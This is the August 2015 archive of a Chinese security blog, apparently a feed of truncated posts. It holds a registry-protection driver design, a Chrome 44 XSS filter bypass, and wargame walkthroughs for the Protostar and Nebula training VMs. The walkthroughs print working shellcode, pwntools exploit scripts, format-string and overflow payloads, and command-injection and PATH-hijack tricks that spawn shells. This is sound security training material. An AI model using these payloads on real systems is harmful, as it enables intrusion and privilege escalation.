lightless blog - 2015年8月
type: channel
link: https://lightless.me/2015/08
description: 弱小和无知不是生存障碍，傲慢才是。
items: 基于SSDT的注册表主防系统
items: Google Chrome 44.0.2403.157 XSS Filter Bypass
items: protostar通关指南——final系列
items: protostar通关指南——net系列
items: protostar通关指南——heap系列
items: protostar通关指南——format系列
items: protostar通关指南——stack系列
items: Nebula通关指南

基于SSDT的注册表主防系统
type: item
date: 2015-08-29T13:04:00+00:00
description: 注：这个主防只支持x86系统。。本人技术略渣，x64还没搞出来。。。。 注注：这篇文章是很久以前发在旧博客里的，无意间翻到了觉得还不错，复制过来了，毕竟也是用心做的东西。 这个SSDT的内容我用了之前的一个框架，网上也有很多的SSDT库。关于SSDT还不太清楚的童鞋可以看看我以前的一篇文章。 http://lightlesshome.diandian.com/post/2014-01-29/40060870666 主要就是一个主防的思路问题。我的思路比较简单，很多方面都没有考虑到，用ZwSetKeyValue这个函数来开刀。 首先肯定是要HOOK掉这个函数。之后就要考虑ring0和ring3交互的问题。这里采用的是DeviceIoControl和IOCTL的方法来进行交互的。 首先ring0进行监听，然后得到监听到事件后向ring3发出一个信号（暂且用信号这个词，其实是通知ring3），然后ring3收到通知后，向ring0请求信息，ring0会把一系列的东西传递给ring3，ring3进行处理后弹框并询问用户是否允许修改。 我参考了下这篇文章的方法，在数据量不大的时候并且不要求效率的时候可以考虑采用下面这个模型。 http://www.cnblogs.com/dflower/archive/2009/04/17/1438066.html IOCTL控制码的话主要定义了以下几个。 // 设置事件 #define IOCTL_SETEVENT \ (ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN, 0x831, METHOD_BUFFERED, FILE_ANY_ACCESS) // 向ring0 请求数据 #define IOCTL_GETINFO \ (ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN, 0x832, METHOD_BUFFERED, FILE_ANY_ACCESS) // 设置等待用户判断的事件 #define IOCTL_SETWAITEVENT \ (ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN, 0x833, METHOD_BUFFERED, FILE_ANY_ACCESS) // 传递用户的判断结果 #define IOCTL_PASSUSERRES \ (ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN, 0x834, METHOD_BUFFERED, FILE_ANY_ACCESS) 用途稍后会进行解释。 关于这个DeviceIoControl函数的用法可以参考下MSDN，比较简单，主要就是向ring0发送个控制码，然后获取数据之类的啥啥啥的。 在ring0中用这个函数。NTSTATUS DeviceIoControlDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP pIrp); 然后设置以下派遣函数 DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceIoControlDispatch; DriverObject->MajorFunction[IRP_MJ_CREATE] = DeviceIoControlDispatch; DriverObject->MajorFunction[IRP_MJ_CLOSE] = DeviceIoControlDispatch; 下面要在这个函数中获取IOCTL功能码 PIO_STACK_LOCATION irpStack; irpStack = IoGetCurrentIrpStackLocation(pIrp); irpStack->Parameters.DeviceIoControl.IoControlCode 那个IoControlCode就是功能码了。 下面就是继续switch case 来进行处理每一个功能码了。 基本上DeviceIoControlDispatch就是这样了。下面来考虑怎么在ring0和ring3中互相通知。 可以在ring3中创建一个事件，然后单独开一个线程来监视这个事件。开线程之前使用DeviceIoControl函数将这个事件的句柄传递到内核中，ring0收到这个事件后，转为句柄并保存起来，在以后需要使用的时候拿出来使用。 在ring3中： 先打开我们的驱动，其中的"\\.\RegDef"是驱动中的符号链接。 m_hDevice = CreateFile("\\\\.\\RegDef", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_SYS…

Google Chrome 44.0.2403.157 XSS Filter Bypass
type: item
date: 2015-08-25T08:17:00+00:00
description: 原文地址：http://cxsecurity.com/issue/WLB-2015080141 像你所熟知的，chrome处于安全原因，不会执行跨站脚本中的JS代码，并且通过这个方法阻止了很多XSS攻击。假如现在你有一个受XSS影响的PHP代码(chrome.php)： <?php // Echo the value of parameter one echo "This is text1:".$_GET['text1']." "; // Echo the value of parameter two echo "This is text2:".$_GET['text2']." "; ?> 这个PHP文件接收两个参数，并且未经任何过滤就输出，这允许你去运行JS代码了。如果你在chrome中测试类似下面的xss payload： http://[HOSTNAME]/[PATH]/chrome.php?text1= &text2=Something 你会发现他不会弹窗，并且JS代码显示出来了，而且还会发现你的代码被红色高亮了。这是因为chrome极高的安全性，如果你测试其他的类似代码，你会发现相同的结果。但是，我们尝试一下不闭合 在这次测试中，你的代码完全的显示了出来，完全没有被红色高亮标记，但是又一次被视为HTML文本。我们来试一下用引号并且在两个引号中放一些非代码的文本！举个例子，使用void('')，在第一个参数中传入('，并且在另一个参数中使用')闭合。 现在试一下： http://[HOSTNAME]/[PATH]/chrome.php?text1= 很棒，你发现弹窗了！你的JS代码被执行了！这正是我们想要的。你也可以使用document.write('')或其他的来代替void('')。 上个例子： http://[HOSTNAME]/[PATH]/chrome.php?text1=

protostar通关指南——final系列
type: item
date: 2015-08-10T03:31:48+00:00
description: 最后的Final系列，把这个系列的东西都综合起来了。 final 0 char *get_username() { char buffer[512]; char *q; int i; memset(buffer, 0, sizeof(buffer)); gets(buffer); /* Strip off trailing new line characters */ q = strchr(buffer, '\n'); if(q) *q = 0; q = strchr(buffer, '\r'); if(q) *q = 0; /* Convert to lower case */ for(i = 0; i < strlen(buffer); i++) { buffer[i] = toupper(buffer[i]); } /* Duplicate the string and return it */ return strdup(buffer); } 这个题目是结合了栈溢出和网络相关的知识，一道远程溢出的题目。很明显，接收buffer的时候没有对长度做检查，导致了溢出。先来看看溢出点在哪里。 ➜ net python ~/pattern.py create 600 [binary] ➜ net nc 192.168.37.159 2995 [binary] 通过core dump文件找找偏移量。 user@protostar:/opt/protostar/bin$ gdb -q ./final0 --core=/tmp/core.11.final0.11324 Reading symbols from /opt/protostar/bin/final0...done. warning: Can't read pathname for load map: Input/output error. Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done. (no debugging symbols found)...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done. (no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 Core was generated by `/opt/protostar/bin/final0'. Program terminated with signal 11, Segmentation fault. #0 0x72413772 in ?? () ➜ net python ~/pattern.py offset 0x72413772 hex pattern decoded as: r7Ar 532 shellcode我们选择这个可以绕过toupper()的： shellcode = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07" shellcode += "\x80\x03\x20\x43\xe0\xfa\x29\xc0\x88\x46\x07\x89\x46\x0c" shellcode += "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80" shellcode += "\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff" shellcode += "\x0f\x42\x49\x4e\x0f\x53\x48" shellcode来自：https://www.exploit-db.com/exploits/13460/ 找一下返回地址: (gdb) x/10s $esp-536 0xbffffa48: "AA0AA1AA2AA3AA4........ 太长了多余的不贴了，写payload吧。 from pwn import * target = remote('192.168.37.159',2995) shellcode = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07" shellcode += "\x80\x03\x20\x43\xe0\xfa\x2…

protostar通关指南——net系列
type: item
date: 2015-08-07T08:28:28+00:00
description: 这个系列开始涉及网络部分了，感觉这部分还是很简单的。 net 0 先来看源码： #include "../common/common.c" #define NAME "net0" #define UID 999 #define GID 999 #define PORT 2999 void run() { unsigned int i; unsigned int wanted; wanted = random(); printf("Please send '%d' as a little endian 32bit int\n", wanted); if(fread(&i, sizeof(i), 1, stdin) == NULL) { errx(1, ":(\n"); } if(i == wanted) { printf("Thank you sir/madam\n"); } else { printf("I'm sorry, you sent %d instead\n", i); } } int main(int argc, char **argv, char **envp) { int fd; char *username; /* Run the process as a daemon */ background_process(NAME, UID, GID); /* Wait for socket activity and return */ fd = serve_forever(PORT); /* Set the client socket to STDIN, STDOUT, and STDERR */ set_io(fd); /* Don't do this :> */ srandom(time(NULL)); run(); } 主函数中的大部分内容其实不需要关注的，主要来看run()函数，这里面随机生成了一个值，并且接受一个输入值，判断两个值是否相等。来，我们祭出pwntools。 from pwn import * target = remote('192.168.37.159',2999) temp = target.recv() print temp temp = temp[temp.find("'"):] temp = temp[1:] temp = temp[:temp.find("'")] print temp target.send(p32(int(temp,10))) print target.recv() target.close() 结果如下： ➜ net python net0.py [+] Opening connection to 192.168.37.159 on port 2999: Done Please send '577360076' as a little endian 32bit int 577360076 Thank you sir/madam [*] Closed connection to 192.168.37.159 port 2999 net 1 这里只贴出关键代码吧。 void run() { char buf[12]; char fub[12]; char *q; unsigned int wanted; wanted = random(); sprintf(fub, "%d", wanted); if(write(0, &wanted, sizeof(wanted)) != sizeof(wanted)) { errx(1, ":(\n"); } if(fgets(buf, sizeof(buf)-1, stdin) == NULL) { errx(1, ":(\n"); } q = strchr(buf, '\r'); if(q) *q = 0; q = strchr(buf, '\n'); if(q) *q = 0; if(strcmp(fub, buf) == 0) { printf("you correctly sent the data\n"); } else { printf("you didn't send the data properly\n"); } } 这个题还是要让我们发送过去一个和随机生成的数值一样的东西。这次把接收到的东西unpack再发过去就可以了，代码如下： from pwn import * target = remote('192.168.37.159',2998) temp = target.recv() print temp payload = u32(temp) target.send(str(payload)+'\n'…

protostar通关指南——heap系列
type: item
date: 2015-08-07T06:39:00+00:00
description: 感觉是比较难的一部分了，毕竟堆溢出平常接触的少。 heap 0 源码： #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct data { char name[64]; }; struct fp { int (*fp)(); }; void winner() { printf("level passed\n"); } void nowinner() { printf("level has not been passed\n"); } int main(int argc, char **argv) { struct data *d; struct fp *f; d = malloc(sizeof(struct data)); f = malloc(sizeof(struct fp)); f->fp = nowinner; printf("data is at %p, fp is at %p\n", d, f); strcpy(d->name, argv[1]); f->fp(); } 先找溢出点： user@protostar:/opt/protostar/bin$ gdb ./heap0 Reading symbols from /opt/protostar/bin/heap0...done. (gdb) r `python /home/user/pattern.py create 150` Starting program: /opt/protostar/bin/heap0 `python /home/user/pattern.py create 150` data is at 0x804a008, fp is at 0x804a050 Program received signal SIGSEGV, Segmentation fault. 0x41346341 in ?? () user@protostar:/opt/protostar/bin$ python /home/user/pattern.py offset 0x41346341 hex pattern decoded as: Ac4A 72 找到winner()函数的地址： user@protostar:/opt/protostar/bin$ objdump -d heap0 | grep win 08048464 <winner>: 构造payload: user@protostar:/opt/protostar/bin$ ./heap0 `python -c "print 'A'*72 + '\x64\x84\x04\x08' "` data is at 0x804a008, fp is at 0x804a050 level passed 不知道是不是正解。 heap 1 先贴代码： #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct internet { int priority; char *name; }; void winner() { printf("and we have a winner @ %d\n", time(NULL)); } int main(int argc, char **argv) { struct internet *i1, *i2, *i3; i1 = malloc(sizeof(struct internet)); i1->priority = 1; i1->name = malloc(8); i2 = malloc(sizeof(struct internet)); i2->priority = 2; i2->name = malloc(8); strcpy(i1->name, argv[1]); strcpy(i2->name, argv[2]); printf("and that's a wrap folks!\n"); } 出现问题的地方很容易找到，就是其中的两个strcpy的地方，但是这题想执行winner()的话，还是需要修改GOT。先注意一点，printf()会被优化称puts()，所以我们实际上是修改puts()在GOT中的条目，让其调用puts()的时候调用winner()。这里就需要使用strcpy()的方式来修改GOT，让strcpy()把winner()函数的地址复制到GOT…

protostar通关指南——format系列
type: item
date: 2015-08-06T05:59:27+00:00
description: format 0 先看源码，已经知道是格式化字符串漏洞了。 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void vuln(char *string) { volatile int target; char buffer[64]; target = 0; sprintf(buffer, string); if(target == 0xdeadbeef) { printf("you have hit the target correctly :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); } 第0关好像没啥难度的样子，只是把接收来的参数通过sprintf()打印到了buffer中，所以很容易的就溢出了。 user@protostar:/opt/protostar/bin$ ./format0 `python -c "print 'A'*64 + '\xef\xbe\xad\xde'"` you have hit the target correctly :) 等等，题目说输入应当小于10字节，好吧，那改一下payload： user@protostar:/opt/protostar/bin$ ./format0 `python -c "print '%64d' + '\xef\xbe\xad\xde'"` you have hit the target correctly :) 搞定。 format 1 这次把target放到全局变量里了。 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void vuln(char *string) { printf(string); if(target) { printf("you have modified the target :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); } 通过objdump可以轻松找到这个全局变量的地址： user@protostar:/opt/protostar/bin$ objdump -t format1 |grep target 08049638 g O .bss 00000004 target 后来各种构造都不对，z神说可以直接喷。。。 user@protostar:/opt/protostar/bin$ ./format1 `python -c "print ('\x96' + '\x04' + '\x08' + '\x38')*1000 + '%x,'*200+'%n'"` 8804960c,bfffe5f8,8048469,b7fd8304,b7fd7ff4,bfffe5f8,8048435,bfffe7c1,b7ff1040,804845b,b7fd7ff4,8048450,0,bfffe678,b7eadc76,2,bfffe6a4,bfffe6b0,b7fe1848,bfffe660,ffffffff,b7ffeff4,804824d,1,bfffe660,b7ff0626,b7fffab0,b7fe1b28,b7fd7ff4,0,0,bfffe678,47f4957a,6d80e36a,0,0,0,2,8048340,0,b7ff6210,b7eadb9b,b7ffeff4,2,8048340,0,8048361,804841c,2,bfffe6a4,8048450,8048440,b7ff1040,bfffe69c,b7fff8f8,2,bfffe7b7,bfffe7c1,0,bffff9bc,bffff9ca,bffff9d5,bffff9f5,bffffa08,bffffa12,bfffff02,bfffff40,bfffff54,bfffff6b,bfffff7c,bfffff84,bfffff94,bfffffa1,bfffffd4,bfffffe0,0,20,b7fe2414,21,b7fe2000,10,fabfbff,6,1000,11,64,3,8048034,4,20,5,7,7,b7fe3000,8,0,9,8048340,b,3e9,c,0,d,3e9,e,3e9,17,1,19,bfffe79b,1f,bffffff2,f,bfffe7ab,0,0,0,80000000,4a8460fb,6c02dc1c,5a528a1f,6…

protostar通关指南——stack系列
type: item
date: 2015-08-05T05:59:30+00:00
description: 继续上一个系列nebula的升级版：protostar stack 0 这个题是最简单的栈溢出，目的是让大家明白栈溢出可以修改内存中的变量。 #include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } } 可以看到局部变量有两个，一个是int类型，另一个是char数组，通常情况下，两个变量在栈中是这个样子的。 buff buff buff buff ... buff modified 所以我们输入64个junk byte，然后加个1就可以把modified覆盖成1了。 payload: 12341234123412341234123412341234123412341234123412341234123412341111 stack 1 基本上和上一题一样，目的是让我们区分大小端，从代码中可以看到，这里比较的是modified和0x61626364，即abcd，但是要进行大小端转换，输入的abcd在内存中会变成dcba，所以为了得到到abcd，需要输入dcba。 payload: $ ./stack1 1234123412341234123412341234123412341234123412341234123412341234dcba stack 2 代码同样没有多大改变，只是从环境变量中读取内容，最后出现了不可见字符，直接输入是不可能了，借助一下python，pyload如下： user@protostar:/opt/protostar/bin$ export GREENIE=`python -c "print 'A'*64+'\x0a\x0d\x0a\x0d'"` user@protostar:/opt/protostar/bin$ ./stack2 you have correctly modified the variable stack 3 这里代码变化较大： #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } } 这个题的目的是让我改掉EIP，这里提供了一个函数指针，所以只要将这个函数指针的地址覆盖为win()的地址就可以了，免去了覆盖返回地址的问题。首先通过objdump获取win()的地址。 user@protostar:/opt/protostar/bin$ objdump -d stack3 .... 08048424 <win>: 8048424: 55 push %ebp 8048425: 89 e5 mov %esp,%ebp 8048427: 83 ec 18 sub $0x18,%esp 804842a: c7 04 24 40 85 04 08 movl $0x8048540,(%esp) 8048431: e8 2a ff ff ff call 8048360 <puts@plt> 8048436: c9 leave 8048437: c3 ret .... 多余部分这里略去了，可以看到win()函数的地址是0x08048424，但是由于大小端问题，需要变成0x24840408，然后可以构造出payload： user@protostar:/opt/protostar/bin$ python -c "print 'a'*64 + '\x24\x84\x04\x08'" | ./stack3 calling function pointer, jumping to 0x08048424 code flow successfully changed stack 4 …

Nebula通关指南
type: item
date: 2015-08-04T09:33:00+00:00
description: 最近又找到个东西玩，https://exploit-exercises.com/nebula/ 下载地址：https://drive.google.com/folderview?id=0B9RbZkKdRR8qLWZBcVBvanlLb1U&usp=sharing 这个nebula应该是其中最简单的一个练习了，看了看国内好像还没有针对这个给出WriteUp，于是就抽空写了一份，希望对大家有所帮助。 level 00 这个一题的目的是找到一个suid的文件，已经提示了是看find的文档，很简单。用find的-perm选项即可。 level00@nebula$ find / -perm -4000 > res.txt 查找完成后会看到一个/bin/.../flag00，运行后即可。 level00@nebula$ /bin/.../flag00 flag00@nebula$ getflag level 01 给了一个程序的源码，让我们继续利用的suid去执行某些东西。 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); } 分析源码，可以看到最后调用了system("/usr/bin/env echo and now what?");，env这个东西是从环境变量的PATH里去寻找echo的路径并执行的。但是环境变量有个特点，就是按照顺序从左向右寻找，例如：PATH=/path1:/path2，那么查找echo的时候，会先从path1开始寻找。 所以我们只要在所有的PATH之前加上一个可以控制的目录，并在里面放个echo，运行这个程序的时候就会执行我们的程序了。 level01@nebula$ PATH=/tmp:$PATH level01@nebula$ export PATH level01@nebula$ echo $PATH 这样就把/tmp加入了PATH了最左边的位置。然后就可以在/tmp下面新建一个echo文件，做猥琐的事情了。 level01@nebula$ ln -s /bin/bash /tmp/echo level01@nebula$ ./flag01 但是这样是不行的，因为bash把后面的内容当作了命令，自然是提示找不到命令。我通过了一个技巧绕过了这个限制，在/tmp下面新建一个文件echo，写入如下内容即可： #!/bin/bash /bin/bash 运行试试 level01@nebula$ ./flag01 flag01@nebula$ getflag level 02 依然是给了一段代码： #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); buffer = NULL; asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); printf("about to call system(\"%s\")\n", buffer); system(buffer); } 通读代码，发现还是这个环境变量的问题，比较简单，只要设置USER变量为'a;bash;'即可。 level02@nebula$ USER='a;bash;' level02@nebula$ ./flag02 flag02@nebula$ getflag level 03 这个没有给源码，只是告诉我们有个crontab文件，进去看一下，发现writable.d目录是可写的，旁边还有个sh文件，大意是运行writable.d文件夹下所有的文件。这样一来就简单了，新建一个ge…